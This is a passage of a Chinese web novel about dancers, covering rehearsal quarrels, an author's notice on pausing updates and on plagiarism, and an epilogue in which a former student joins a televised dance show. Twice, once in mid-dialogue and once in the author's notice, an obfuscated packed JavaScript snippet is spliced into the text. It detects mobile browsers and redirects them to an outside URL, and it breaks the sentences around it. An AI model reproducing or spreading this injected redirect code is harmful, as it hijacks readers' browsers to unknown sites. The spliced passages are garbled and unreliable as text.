起,不记起,不顾影自怜。可疗养院的那一面起,尘封的泥土似乎渐渐震动,露出道道裂缝,他惶然地贴紧封条加固城防,不愿触动那些过往。 好在,他很忙、很累,很疼,无暇顾及那些蠢蠢欲动的情绪。然而今天,当爸爸说着你恨我吗而他说着委屈的时候,那些久远的封印终于猛然发作,在他心底炸出个空荡荡的窟窿…… 他终于放低心防与挣扎,揪紧了手下的衣襟,将委屈与难过尽数哭了出来。 ———————————————— 首都舞团的排练厅里,孔爵和萧泽正在排练一个新加的托举动作。 ”来,一、二!“ 身前的萧泽一个后翻伏在肩头,孔爵臂膀用力,挺身将他托了起来。 “好……” 正想说这个稳了,孔爵却耳尖听到萧泽似是闷哼了一声,连忙叫人,“不行不行,先下来。” 张凡和何家齐也不知道怎么回事儿连忙上前将人扶了下来。“没事儿吧!” “没事儿没事儿。” 萧泽微微揉了揉小腹,“就硌了一下,来吧再试试。” 孔爵点点头,陪着他又找了找位置,没两次这动作也就练成了。 张凡在一旁看在眼里,不住地感叹,她怕是把这辈子的运气都用在这一回了。她是何德何能能搬得孔爵和萧泽两位大神来跳她的舞剧啊。他们的实力纵然早就毋庸置疑,可真正合作起来,才觉得说不出的幸运。她和家齐的想法,只要说出来两个人都能立刻领会到。甚至有些一时卡住拿不准的的地方,反而是他们给了自己引导。而且两位学长明明也是第一次合作,却难得的默契。这不是,原定一周排完的计划,他们才几天就超了进度。 舞剧开排前,她本来还不厚道地担心过孔学长的状态。毕竟他平日里喜欢玩笑,总说自己老了胳膊腿儿都不听使唤,又加上一年多没上台,还真让人有些叫不准。可这几天排下来她才觉得自己是想窄了,那么多年的首席怎么能是白跳的。 “上午咱就到这儿吧,你俩歇歇。” 最后一段俩人又合了几遍,已经没什么问题了,张凡拿了水过去,让二人好好歇歇。 “再往下就是有陶乐钦的部分了,咱们也改了些地方,不然看他下午有时间的话,叫他过来排排?” 萧泽点点头,“我们都可以。大学那边夏令营周五下午应该是放假的,看看他时间怎么样。“ 因为晓希的关系,大一新生夏令营的课表萧泽都了解的很清楚。 “那行,我问问。” 何家齐给陶乐钦发了个微信。“看他等会儿怎么说,咱们先出去吃点东西!” “那说好了,下午我可不排那个托举了,除非萧泽不吃饭。” 孔爵抹了把汗换下舞鞋,随口调笑着。 萧泽忍不住白了他一眼,“你练我也不练了。你那肩膀那么硬,我中午吃什么也得给我顶出来。” “嚯,那场面可精彩了……” 几个人笑着走出舞团大楼,引得团里的小姑娘纷纷侧目。毕竟自打“孔大神”的照片贴到墙上那天起,这可是他第一周来排练。 一行人走到舞团对面的一家西安小馆,孔爵伸手去拉门,正碰上里面有人出来。他侧过身让了一下,不想抬头一撞上眼神,竟然是陶乐钦。 “孔……” 陶乐钦也没想到能在这儿遇到孔爵,不禁愣了一下,一个字吐到嘴边,另一个都没来得及跟上。孔爵没说什么,只冲他点点头当做打招呼。陶乐钦顺着他眼光往前看,才发现萧泽和两个编导都在。 “陶乐钦?刚给你发了微信呢,你这是准备干什么去啊。” 张凡热情地打招呼。 陶乐钦晃了晃手里的小运动包,“练功去。手机没电了,我就没带出来。” “啊,那正好。我们排到你那一段多了不少想法,想问你下午有没有时间一起练练看。” 陶乐钦心里一紧,第一反应是想拒绝。原来说的是周一开始,他本想趁着这个周末再练练。可是,他紧了紧手中的背包带,这才说了要去练功…… 萧泽大概看出他的犹豫,“别有压力,就是先大致捋下动作。你跟孔爵不少双人舞,总得找找感觉。” 陶乐钦点点头,萧泽都开口了,他不得不答应。只得跟他们约了时间,就先匆匆离去。 52. 排练 几个人午饭吃的简单。孔爵没吃多少,这会儿正靠着把杆消食。手机上,思思在给他汇报上午练习的进度。 “行。下午自由活动吧。” 孔爵把手机凑到嘴边轻声嘱咐。暑假也没剩几天了,本想让思思多出去玩玩的,可这孩子还是每天闷在练功房里。 “思思啊?” 萧泽过来。 “嗯。” 孔爵侧着手机把屏幕上长长的一段“练习报告”给萧泽看,无奈地摇了摇头。 “知道用功总归是好事儿。 “ ”哎……这孩子有点太内向了。“ 孔爵的眉头,不自觉拧成疙瘩。 “内向也不是什么坏事儿。“ 萧泽也从旁背靠着把杆,”有的人外向,可不就有的人内敛吗。” “嘶~~” 孔爵突然侧过头夸张地把他上下打量了一番,“怎么着,不是你家的孩子你就不着急?” 萧泽笑着抬脚给了他一下,“拉倒吧。” 正说着话,有人推门进来,两人目光挪过去,是陶乐钦。与方才清爽的样子相比,这会儿的少年一身一头的汗,估计饭馆前见面后的两小时他一直在练。孔爵的笑容敛了下来,双手微微一撑走了过去。萧泽在后面拍了拍他肩膀,低声嘱咐,“搂着点脾气啊。” 张凡跟何家齐的担忧没有出现。几个人重新聚在一起,陶乐钦和孔爵都表现的格外自然又专业。张凡提议先跟着音乐走两遍,找找感觉。毕竟自从初稿的带子发下去,两人还没一起排过。放眼整部舞剧,孔爵和陶乐钦有不少段单独的双人舞。好在今天这段接了上午的剧情,所以是有萧泽在内。两位年轻的小编导,也是有心让萧泽在二人中间磨合一些。 几遍下来,孔爵的眉头渐渐皱了起来。虽说只是先走位置,大家的动作多少都简化了些。可三人的部分,陶乐钦动作前后顺序搞不清楚;个人的部分,六圈的探海转改成四圈;复杂的组合跳,随手扔了两个,多出来的八拍囫囵吞枣地糊弄过去。整段但凡有难度的动作,挑挑拣拣地只做了一半。怎么看,怎么都不像是练了一个礼拜的样子。 “不错不错,挺好的。” 还不待孔爵发作,张凡连忙跑出来,“小陶,很不错。我们要的就是这个感觉。真的谢谢你能参演,我们啊,现在对这个作品更加期待了。” 虽说是打圆场的话,但也是真心。抛开细节不谈,平心而论,陶乐钦对音乐的把握,感情的拿捏,的确不像是个还没开学的大一新生。 “萧泽你先歇歇,我和他单独练练。” 孔爵突然提议。 有萧泽加入的部分在整段的最后,这么安排,好像也没什么不妥。萧泽点点头撤到张凡和家齐旁边,扫过孔爵的神色,眉间不禁微微皱了一下,方才陶乐钦的表现,他也不是没看在眼里。 重新开始排练,孔爵的态度,却突然温和下来。他拉着陶乐钦把双人舞的部分都好好顺了几遍,有不小心“撞架”的地方,甚至还跟他有说有笑的。陶乐钦紧锁的眉头下,是没来由的无措。他忍不住在每次对视中打量对面毫无破绽的眼神。这样的孔爵,总让他觉着有些不安。 “张凡,放音乐,我们正经八百走一遍看看。” 这一段只是刚刚捋顺了而已,好多细节都还没有来得及抠。陶乐钦觉得排练才刚刚开始,不知道孔爵这是什么意思,身侧的手,不禁有些紧张地微微攥起。 “动作跳全。” 音乐响起前的最后一秒,孔爵突然撩起眼帘看向陶乐钦,陡然深沉起来的眼神,看得他一凛。 当陶乐钦再次删删减减面目全非地跳完这一段时,萧泽终于明白孔爵要干什么了,他在给陶乐钦最后一次机会。显然,陶乐钦并没有把握住。音乐还在继续,孔爵的动作却戛然而止。何家齐见状默默按掉手机,房间里的气氛立刻冷了下来。 “还有什么要说的吗?” 孔爵的脸色沉的上霜,张凡又想出来打圆场,却被一旁的家齐揪住袖口,隐隐摇了摇头。 陶乐钦自然知道孔爵问的是什么,他也不是不理亏。只是,他就是听不得孔爵审犯人一样的语气跟他说话,还当着那么多人的面。又或者,只要是孔爵,听在自己耳朵里的每个字都格外刺耳,他总是轻易的就能被挑起脾气。“什么说什么!?” 萧泽微微皱了皱眉。 孔爵的反应却格外平静,平静到旁人几乎看不出那样的深沉下已经压了什么样的怒火。“谁准你改动作的?“ “编排不合理,怎么就不能改了?“ 陶乐钦的眉毛微微扬起,带着一如既往的桀骜,眼神却不自觉的避开孔爵,落在一旁的空气中。 “不合理?” 仿佛是料到他会有这一说,孔爵突然冷哼了一声,牵出一丝哂笑,“舞剧是你的?你是编导么?好。” 他噙着嘴角点了点头,“我和萧泽陪你,这段你给我按原排跳出来。张凡、录像!我们大伙儿一起看看到底哪儿不合理。” “孔爵你有完没完!” 少年的火被孔爵的咄咄逼人直接燎到了天上,心底那一点点理亏和愧疚早被烧的荡然无存。“一个排练你犯得着非盯着我不放么。你们叫我来是跳舞不是当傻子的。鼎鼎有名的大编导还允许演员提意见呢,他们不——” “孔爵!!” 陶乐钦的口无遮拦被孔爵陡然蹬出的一脚生生掐在半截。伴随着萧泽的一声喝止,陶乐钦几乎是飞出去般狠狠摔在了身后两米外的垫子上。 任谁也没想到,会有这一幕。房间里像是被人按下了十秒的静音键。张凡被这场面惊得说不出话,只能茫然地看向萧泽。 萧泽望着地当中针锋相对的二人,猛的提到嗓子眼的心终于放了下来。方才孔爵那一脚出去,他吓得连忙出声制止,这要是踹出个毛病来,不是闹着玩的。好在,孔爵不是理智全无,那一下看着霸道,到底是搂着力气先蹬上人才送出去的。虽然飞出去瞅着吓人,倒不至有什么大伤。只是这两个人,不知道怎么就这么犯相,第一天就闹成这样。 陶乐钦也被这一下摔懵了。回过神来,先于疼痛袭来的,是震惊。他顾不得撑起身子一脸惊愕的看向孔爵,眸子里几乎喷出火来。 “你们都先出去吧,抱歉。” 孔爵深深吸进一口气,压下让他太阳穴发震的情绪。身后随即传来窸窸窣窣的声音,很快,门被关上了。 房间里只剩下孔爵和陶乐钦两人,便又是一阵拉锯的沉默。半晌,空气中紧绷的气场仿佛突然松动了些,陶乐钦微微侧过脸,余光看见孔爵正朝他走来。他想一个翻身站起来,却在半途腿一软跌了回来:大腿上方才被孔爵踹过的地方隐隐泛着痛,一受力就不自觉的抖。不待再试一次,孔爵高大的身影已经投射在身前。想到刚刚那副狼狈相定然是又被他看在眼里,陶乐钦气的闭上眼睛不看他,只觉得人生从没这样窝囊过。 “老老实实的说一句,对不起我还没练好,这个小节我还拿不下,就那么难么?” 孔爵居高临下的声音里,没了方才的怒气也不带平日里的鄙夷。可就是这平静的一句,不知如何戳进陶乐钦“油盐不进”的胸膛,心像是从日本最刺激的过山车上极速冲下般,难受的他骤然收紧眉头。 孔爵的目光落在陶乐钦执拗的脸上,心里,是说不出的失望。 自己纵然不喜欢陶乐钦的桀骜和口无遮拦,却也从来没怀疑过他对舞蹈的认真。排练开始前,他对萧泽表露出的是既不在意也不期待,其实心里也想看看,这孩子能给他们什么样的惊喜。 的确是“惊喜”。哪怕是用了一点点心思,都不至跳成这样。 日本神崎老师的教育,一向以严厉著称。专业上,和林晓希比可以说是各有所长,和其他的孩子比起来,他也是甩了人家一大截的。不然张凡跟何家齐也不会前后挑挑拣拣了半天最终敲定了他。也是因为这样,他才就算气的太阳穴发跳也耐着性子给了他一次又一次机会。可是他错了,守着这样的天赋和能力,陶乐钦就是有脸能拿出那样的呈现来。 与他对峙的那一刻,明明知道他又要拿出那一套”艺术高于技巧,要尊重演员想法“的论调来,却也真心不愿听到那样的借口。然而,陶乐钦果然是不出所望地让他失望了。 “只要是舞者,遇到难得的好编排好创作,哪个不是说不出的兴奋。就算有挑战,有瑕疵,也都是咬着牙先拿下来再说。哪里有不想着提高自己业务能力,反倒先质疑别人的道理。听小叔叔说他教了你六个月,你就学些了这些吗?” ”我跟老师的事你没资格说! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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———————————— “师兄……你看这…” 萧泽三人一路走出排练楼,到了门口的花坛边,何家齐忍不住问萧泽拿意见。他从前也跟着秦卿老师练过,总觉得叫师兄比学长更亲切些。 “今天这个事,我代孔爵跟你俩道歉。不然,今天就先到这儿吧。明天九点半,我们照常集合。” “哎哎别,我们都很随意的。” 萧泽这般郑重的道歉,两个人反而觉得不至于,“反正我们曲子还有好多要改的,下午我们就去找编曲老师。” “也不能这么说。舞剧是你们的,演员们也好,各个职能的老师也好,本质上都是为舞剧服务。该有的魄力,还是得拿出来。” 两个人忙不迭地点头,望着萧泽的目光透着十足的信服。萧泽被他们望的有些不自在,忍不住笑了,“说起来,这一届大一编导班的班主任,你们认识吗?” ”陶乐钦他们班主任吗?认识的。“ ”那等会你们先去问问看,陶乐钦这几天是不是请假了。” “嗯?” “陶乐钦是拿过日本青少年大奖赛金奖的,也是你们钦点进来的,他的实力,就算再怎么不上心,一个多礼拜下来不至于这样。” 这么一说,张凡倒也觉得有道理,自己光顾着被孔学长发火吓得大气不敢出,一点都没往这边想。 萧泽接着说,“之前我学生说在机场看到个人像他,我当时没当回事儿,这会儿倒是想起来了。问问吧,万一真有什么事儿呢。” 两人点点头表示明白,没多再耽搁,就先与萧泽告别了。 萧泽目送着他们离开,回身在花坛边的楼梯上坐了。昨天晚上下了一场大雨,今天只有二十三四度,这会儿的微风难得凉爽。这些日子团里排练,帮两个孩子统筹新舞剧,晓希备赛再加上彦承备考,他像个陀螺天天转个不停,倒是难得有这么闲适的时候。还是拜孔爵所赐。 于是说曹操,曹操到。身后传来急促的脚步声,萧泽扭过头,正看到孔爵急匆匆的从大门走出来。 孔爵在屋里表现的平静,心里的火却还是没消,这一路往出走正兀自生气,没想到差点撞上楼梯边坐着的萧泽。 “诶,你在这儿呢啊?” 萧泽在自己身侧敲了敲,答非所问,“这么快就骂完了?” 孔爵大喇喇地坐下,修长的腿直接迈到了三级楼梯下面。“骂他我都嫌浪费时间。” 这两个人,针锋相对起来像是结了八辈子的梁子。萧泽无奈地摇摇头,没再说什么。毕竟陶乐钦今天的表现,在他这里一样过不了关。 53. 停更通知 镇魂里(好吧我是镇魂女鬼)有一句话,功德既生,纯善已死。 我很喜欢这一句,和我的情况有点类似,不太一样。但总归,强求来的东西索然无味了就。 和停更无关,但重要的事情说一下; 跃舞毕竟更了这么多年,抄袭和雷同的问题层出不穷。但因为圈子实在太小,只要不太过分的,我和萧萧(跃舞一的另一位作者)都得过且过了。 希望大家能知道,每一篇文章,每一字一句都是作者的心血。不要说十万二十万字,就是八十万字,不能说写过的文章都记得,但自己的句子哪怕是语气,一眼就能认出来。别存侥幸心理,不提,只是不想撕的难看罢了。 现在写这些文的朋友年纪都很小很小,也许也不是故意的。就希望以后写文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239551|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候注意,一开始就不应该让这件事发生。都已经发生了再过来跟我诚挚的道歉,真的,那既没有诚意,也没有意义。 一般轻度雷同的,可能真的是巧合,我基本就忽略。 比较明显雷同的,但就一两句,我可能会私下跟作者碰一下。改掉就好了 比较严重抄袭的,麻烦删文道歉。然后不要过来跟我卖惨。 54. 番外III 往后余生 一、 王思煦从剧组出来的第一天,竟然出现在了公司。 “听说你们昨天闹得很晚,今天怎么不在家歇着。” 景颖看他才坐了一会儿就打了好几个哈欠,起身去给他做杯手冲。 “这不是,过来讨景姐的咖啡嘛。” 昨天杀青,剧组热热闹闹的聚了一回。一大伙儿人吃吃喝喝唱唱闹闹一直到凌晨。王思煦没睡直接搭了早班飞机,到家蒙头睡了一上午,下午就直接跑来公司了。 “我晚上约了小霄和白爷吃饭,说好了在公司等他们。” 小宵和白爷是公司和思煦差不多同期的艺人,这两年他们发展的都不错,遍地开花。虽然都忙,不过曾经窝在公司一起巴望着能红的情谊倒留存了下来,有机会就聚一聚。 “明后天让你在家休两天,后面通告都排满了,下半年就没得歇了。” 景颖是公司的皇牌经纪人,接过思煦的这两年,无论是接戏,接综艺还是代言,从没出过差错。景颖不仅眼光独到,心里也有算盘,虽然也有运气的成分在:但王思煦闭关进组这几个月,他的综艺和电视剧接档播出,人不在,曝光却没断过,风头一时无两。 王思煦歪着下巴点点头,却忍不住小声抱怨,“说的好像上半年歇了似的。” 别说上半年,去年一整年,也没歇。景颖不说话埋头做咖啡,知道他也就是过过嘴瘾,这个圈子里的人,谁敢嫌自己太忙?从前那些整日耗在公司闲的长毛的日子,他是再不敢想的。 “等会儿叫阿敬过来给你修修头发,太长了。你们小团体聚会,狗仔们乐得拍。” ”不用了,这样也挺好的。“ 王思煦拢起头发随手在脑后扎了个小揪,本就比旁人立体的侧脸被映衬的更加英挺。 景颖回过身,不禁眼神一闪。她倒是第一次在思煦身上看到这种气质,脑子里想着跟造型总监沟通下想法。 ”景姐~~“ 公司新晋的演员阮柟柟从门外探进头来,”咦,小煦哥也在?“ 王思煦从屋里挥挥手,”小柟!新剧不错啊,我们剧组好多人都在追,说女二很出彩。“ 景颖把冲好的咖啡放到思煦面前,回头招招手让阮柟柟进来,”怎么了?“ 小姑娘脸上写满了为难地挪进来,”景姐……您真让我去参加那个跳舞节目啊,我恐怕……不是那块料啊。“ 景颖没想到她是问这个,”没事,正常表现就行,我又没真指望你拿个舞王回来。“ ”哦……“ 阮柟柟低声应了,心里还是有些没底。 ”什么跳舞节目啊?“ 和舞蹈有关的事情,王思煦总难免特别敏感。 ”卫视台新推的节目,让明星们去比赛舞蹈。我跟Randy说了,帮她接了。“ ”这样啊,听上去挺有意思的?去吧小柟。“ 小艺人自己也有经纪人,上什么节目接什么戏景颖通常是不管的。只是这个阮柟柟她挺喜欢,人虽然交给Randy,她平时其实也上心。 ”Randy跟你说为什么让你去了吗?“ “说了。” “嗯。“ 景颖点点头,”那我就不多说了,自己好好想想,还想不明白,再来找我。“ “好……” 大经纪人都说了这么多了,阮柟柟再不懂事也不能再说什么了。而且…她其实也对跳舞挺感兴趣的,只是从小到大没怎么接触过,做自己不擅长的事情,总归心里有些没底,也怕表现的不好,遭观众的嫌弃。 ”别怕小柟。你素颜这么能打,没准到时候网友颁你一个’最美素颜女神‘。” 王思煦嘬了口咖啡,细细品味着。景颖瞪了他一眼,伸手拿起他的咖啡杯递到阮柟柟手里,“来,这事儿你小煦哥懂,让他帮你看看。这咖啡你给端着。” “嘿,好嘞。” 阮柟柟抿着笑接过咖啡,她就知道景姐还是疼她。 “行行行,我去。” 王思煦起身扶着小柟肩膀出去,忍不住回头给了景颖一个“厚此薄彼”的嘴型。 景颖笑着摇摇头,坐回办公桌前。这几年,王思煦的变化太大了。依稀记得他刚入公司那会儿,看过他几次,挺内向又不自信的一个孩子。可看看现在这外向风趣的样子,对记者,应对自如,对粉丝,幽默贴心。 其实改变性格去适应这个圈子,是再正常不过的事情。可思煦就是,变得太彻底了。有时景颖真的不知道他是不是原本就是这样的人,不然,要有多坚定才能把自己彻头彻尾地变成另一种人。 二、 ”喏,Randy哥发给我的节目概念的简介。“ 阮柟柟把iPad递给王思煦。”我听说是有中国舞,现代舞,国标和街舞四种舞蹈,每一种都会请几个优秀舞蹈演员和明星配对比赛。诶?那你说为什么没有芭蕾啊。“ ”芭蕾太难上手了,我看上面说每支舞蹈只有48小时的排练时间,两天时间不可能把足尖立起来。“ ”倒也是。“ 阮柟柟想起来芭蕾舞演员都是踮着脚尖跳舞的,这个她确实不行。 王思煦翻到最后一页,没有过多的信息了。”知道会请哪些舞蹈演员来吗?“ 思煦毕竟两大顶尖舞院都混过,要说中国舞这一块的,没准他还能认识。说起这个……王思煦突然掏出手机,前几天在组里好像收到彦承一条微信,只不过临杀青那几天几乎是没日没夜的拍,他匆匆看了一眼,忘记回复了。 ”思思,戏拍的怎么样了,有个新闻跟你说。我们家晓希要上综艺节目了【坏笑】!“ 两天前的聊天记录晾在屏幕上,王思煦瞬间起了一层鸡皮疙瘩,不会这么巧吧。 思煦一个语音通话拨了过去。彦承没接到,但是很快就打了回来。”大明星!今天怎么这么有空。“ ”不好意思啊彦承,前几天一直连轴转,今天才出剧组。“ ”哎没事没事的,“ 钟彦承大喇喇的声音从对面传过来,”我就是开玩笑,怎么啦找我什么事,看到我跟你说的大新闻没有?“ ”看到了,就是问你这个事儿。晓希哥要参加的那个,不会就是Step Up n Dance吧。。。“ ”欸?就是啊,你们圈里人果然消息灵通。“ 王思煦忍不住扶了扶额,果然就是这么巧啊。 ”我们公司有个艺人参加,我碰巧看到了。“ ”你不参加看看嘛?“ 哪怕只是单纯地通过声音,王思煦也能想象得到彦承那一脸坏笑。”你不参加可就可惜了,最新小道消息,孔爵哥也答应去当评委兼导师。“ 王思煦的心‘咯噔’一下,愣了半天没缓过神来,”怎么可能?他不可能答应的。“ ”本来是的”,钟彦承叹了口气,“最开始节目组请了萧泽哥,不过他实在没时间,就去问孔爵哥,他没答应。不过后来好像又有人来问,孔爵哥说是欠老朋友的人情,没法拒绝。” 老朋友…闫先生…… 王思邈沉默了几秒,想到老师的这一份人情是怎样欠下的,心里突然很不是滋味。 “彦承我先不跟你说了,你千万别跟老师说我问过这事儿。千万别说啊” 心中突然有了决断,王思邈挂了电话立刻奔景颖的办公室去了。 三、 两周之后,王思邈出现在了Step Up n Dance第一期的录制现场。作为节目的“热舞召唤官“ 他将不参与明星之间的竞赛,却会作为表演嘉宾,每期节目在一名导师的指导下,自己或者与舞蹈演员合作奉献一支作品给大家。 ”对不起啊,景姐,这两周你辛苦了。“ A休息室里的明星都还没到,房间里只有王思邈和景颖两个人。品着房间里的低气压,两周前的争执还历历在目。 ————————————— ”景姐,小柟参加的那个节目,我也想去。“ 冲进景颖的办公室,第一句说的就是这个。 景颖狐疑地盯了他半晌,不知道他是哪根筋搭错了,却也懒得探究,只是把目光又挪回到电脑屏幕上,”刚才不是说了吗,你下半年的日程都安排满了。“ ”景姐……“ ”节目组本来也没邀请你。“ 景颖劈了啪啦的开始打字,不知道这孩子脑子抽了什么风。 ”景姐,我是认真的。“ 王思邈走到景颖桌前,放低了语气,却更加固执。 ”我是跟你开玩笑吗?“ 景颖倏地推开桌子,转椅朝身后滑了半米,”我刚刚那个话是只说给阮柟柟你没听见是吗?“ ”你去干什么?你是科班出身,去参加这种节目,赢了不光彩输了更丢人。我说过多少遍,你现在的重心是锤炼演技,那么喜欢跳舞,当初干嘛还做演员?“ 王思邈脸皮薄,只这一句,脸登时红的像要滴血,心里更是难受。他沉默了半晌,终于压下涌到喉间的情绪,低声说,”我知道公司对我的规划,但这个节目,我真的很想参加。真的,只此一次!“ 年轻人的眼里写满了请求,方才那受伤的表情在脸上一闪而过。景颖知道自己话说重了,忍不住别过目光,放缓了语气。 ”思煦,这个圈子里的事,从来都是瞬息万变的。这两年来,咱们苦心经营,走的每一步都小心谨慎。你不是表演出身,演技上本来就受到质疑。这时候去参加这个节目,好,观众们知道你跳舞好了,然后呢?“ 王思邈咬着嘴角,没有作声。 景颖接着说,“我不妨跟你说,前几个月我遇到这个节目策划,他跟我提过要做个舞蹈节目,也曾想过邀请你去。不过他也担心你的水平比其他明星高太多,节目里很难给你定位。而且从名气和资源上,你已经不可同日而语了,不应该去参加这么个节目。明白吗?” 他明白。 可是他想给自己和老师之间,留下点什么。 ————————————————— “没关系。” 景颖站起身准备离开,从包里掏出个小保温罐给他。这几天密集地参加品牌活动,昨天连夜飞机赶回来又遇到天气不好,思煦从来没有过的在飞机上吐的七荤八素,下飞机到现在什么都没有吃,景颖起早给他煲了点甜粥。 “你自己不后悔就好。” 这么个节目,思煦不仅要参加,还答应了每期三整天的排练加录制时间,即便是不要命的把其他行程压缩在一起,可不得不推掉的重要工作,又岂止是一个半个? 四、 孔爵没有想到会在录制现场见到思思。 思思根本不应该来参加这个节目…… 可当那孩子远远站在一群明星中间目光却急急寻过来时,孔爵知道,他是故意的,甚至是刻意瞒着自己。 说不出的生气和无力在心头升起,孔爵错开目光,一眼都不再看他。 林晓希出现在将和明星合作的优秀舞蹈演员阵容里。他和王思邈久未见面,嘉宾们和明星们相互认识的环节,思思热络的与他拥抱,并介绍给大家是学生时期的学长。一众明星直说着他这样的颜值真该来娱乐圈发展,林晓希知道这些都是场面,只微笑应着。 王思邈又偷偷往老师的方向望了一眼,他和其他导师一样挨个握手打招呼,仿佛根本不知道自己的学生,今天也在这里。 “煦哥,怎么了?” 阮柟柟不知什么时候挪过来,轻轻碰了碰他手臂。 “没事。” 王思邈回过神来,一弯浅笑又立刻挂在了嘴角。 节目开始录制。第一期的第一个环节应该是舞者和明星依次表演然后互选。不过因为是录播节目,舞者们的合作表演已经提前录好,这会儿艺人们只需看录像即可。 “你想好选谁了吗?” 大家都齐齐坐在台下,趁着镜头没带到,王思邈低声问阮柟柟。 “我啊…” 阮柟柟忍不住偷瞄了一眼坐在后排那个身影,“我原本想选Ali老师,跳跳女团舞的……可你那个学长,跳的好好看啊……好有气质。” 噗……王思邈忍不住偷笑。圈子里什么帅哥没见过啊,这个小柟怎么还能犯花痴。“那就选他吧,晓希哥人挺好的,我让他罩着你。” 阮柟柟撇撇嘴没有说话。马上要轮到艺人上台表演了,她有点紧张的搅着手指。 “来,请各位艺人移步到后台准备,思煦不用动。咱们二十分钟后开始第二阶段录制。” 随着现场导演安排,艺人们纷纷起身到后台。助理和造型师又趁机上来帮王思邈整理妆发,王思邈忍不住又朝老师的方向望去,却发现座位已经空了。他连忙四下扫了一圈,才看到那个熟悉的身影朝洗手间走去。“诶小D我先去个厕所。” 王思邈顾不得招呼在脸上的刷子,连忙起身追了上去。 王思邈追到洗手间的时候孔爵刚好从里间出来,看到他,也只当没看见一样径直走到水池前,拧水,洗手。 “老师……” 王思邈走近了两步。从早上打了照面到现在,老师一眼都没有正眼瞧过他。就是再生气,也总该消一点了吧。孔爵下意识的从镜中看了眼身后的隔间,好在空荡的洗手间只有他们师生二人。 王思邈大着胆子又上前两步,“老师。” 孔爵眼睛眨都没有眨一下,在水池里优哉地甩了两下手才转过身看了他一眼,“起开。” 王思邈喉结动了动,挪开了一小点。 孔爵伸手抽了两张纸,“你公司叫你来的?” “不是…我自己要来的。” 孔爵点点头。他能想到的事情,人家公司能想不到吗。可思思还是来了,那他也没什么好说的了。“既然来了就好好表现。” 孔爵潇洒地扔掉擦手纸抬脚就要走,王思邈一把抓住他胳膊,心里难受的不行。他到底做了什么大逆不道的事情,老师要对他这么冷漠。“我的第一支舞,选了您做导师。” “王思邈。” 孔爵陡然甩开他,“你是不是觉得今天的一切都得来的太容易了?” 王思邈一怔,吓得瞪了眼睛。记忆中,老师这样跟他发火的次数屈指可数,可仅有的几次都在自己进入娱乐圈之后…… 他不禁苦笑了下,目光直直望向孔爵身侧的地上,“十二期节目,四个舞种。不管怎么选,都一定会选到您的。” “是,“ 他又笑着说,”这个节目根本就没有发过我。是我知道了老师也在,才厚着脸皮一定要参加的。我就是…想给自己和您之间…留下点什么。” 王思邈抬眼去看孔爵,老师的眉头紧皱,看向他的目光复杂又深沉。王思邈不知道自己眼眶里已经蓄了泪。 “今天这条路是我自己选的,我不后悔。可是这么多年,我看到晓希哥、彦承、陶乐钦,他们都能跟您一起跳舞,一起站在舞台上,我就很羡慕。我就是想像从前一样,您教我跳,带着我练,帮我打磨一支作品。让我能以一个舞者的身份,带着您的作品站在台上。也许错过这次,就再没有这样机会了。” 思思还是和从前一样,总是三两句话,就能在他自诩强大的心上戳好几个透明窟窿。孔爵深深压下一口气,想帮他抹掉眼角的泪,可抬手,终究只是抽了张纸递给他。 王思邈有些懵的接回来,按在脸上,才发现眼睛已经湿了。他不禁笑了,入行这么多年,最苦的时候,他也没流过眼泪。因为眼泪,不顶用。 “思思…”孔爵长舒一口气,不见了方才的火气,“有些话,我们说过很多遍了。你想要什么,老师都可以陪你一起做,一起闯。只是我希望你记得,过去就是过去,发生了、就过去了。人要往前看。你未来的日子还很长,我不希望……” 话到嘴边,孔爵终究阖起眼,没有说出口。 一个人掩藏的再好,眼睛,藏不住东西。他的人生到此已经没什么遗憾,他辉煌过,放浪过,没做什么让自己后悔的事。可思思不一样,他的人生才刚刚开始,不能让那些乌七八糟的事情…毁了他。 “老师您说的对。” 王思邈擦干眼泪,冲孔爵展开个年少时才有的笑容,“过去就是过去,发生了,就过去了。可发生了,也抹不掉了,藏也藏不住。我曾经是个舞蹈艺考生,有个舞蹈老师,再正常不过了,我不怕让人知道。我知道您担心什么……” 王思邈想到前些年自己放假就往老师那儿跑,赚了钱就买东西往那儿寄。老师最后几乎拿出‘老死不相往来’的威胁,自己才同意。那时,他还心寒了好一阵子。可现在,他都懂了。 “我曾听人说,‘爱她/他,使我更清醒’。这话,我现在懂了。事业和感情,我都不想放弃,所以我会更加小心,更加理智,两样,都好好保护着。” “老师”,冒着随时有人推门而入的风险,王思邈飞快地给了孔爵一个拥抱,“您很多地方都比我强,可这一回,我比您勇敢。” 古龙水的气味萦绕在鼻尖又潇洒的倏然离去。孔爵望着消失在门后挺拔的背影,不禁笑了。回去了,他要好好跟萧泽说一说,这前浪还没过去,后浪们,就等不及要把他拍在沙滩上了。 五、 “你从前有什么舞蹈基础吗?” 艺人和明星配对完成,就要开始准备排练第一支舞蹈。阮柟柟不出所料在最后关头选择了林晓希,林晓希也因为王思邈的拜托,直接选了阮柟柟。两人在排练室集合,林晓希为了彼此熟悉,先问了这个。 “没有诶……” 阮柟柟有些为难地抿着嘴,生怕林晓希因为这个嫌弃她。虽然明星身上都是自带光环,她也算是新一代小花中条件不错的,可这个专业舞者身上就是有一种,特别耀眼的气质,让人有点自惭形秽的气质。 “但是我经常练瑜伽,我会劈叉!有用吗?” 林晓希不禁笑了,整个人都温柔起来,”有用。肢体活动范围大,身体能‘说话’的方式就更多。“ ”嗯,“ 阮柟柟点点头,优秀的人,总能给人特别安心的感觉。 ”你们俩这拍下来,后期全给你们洒满粉红泡泡。“ 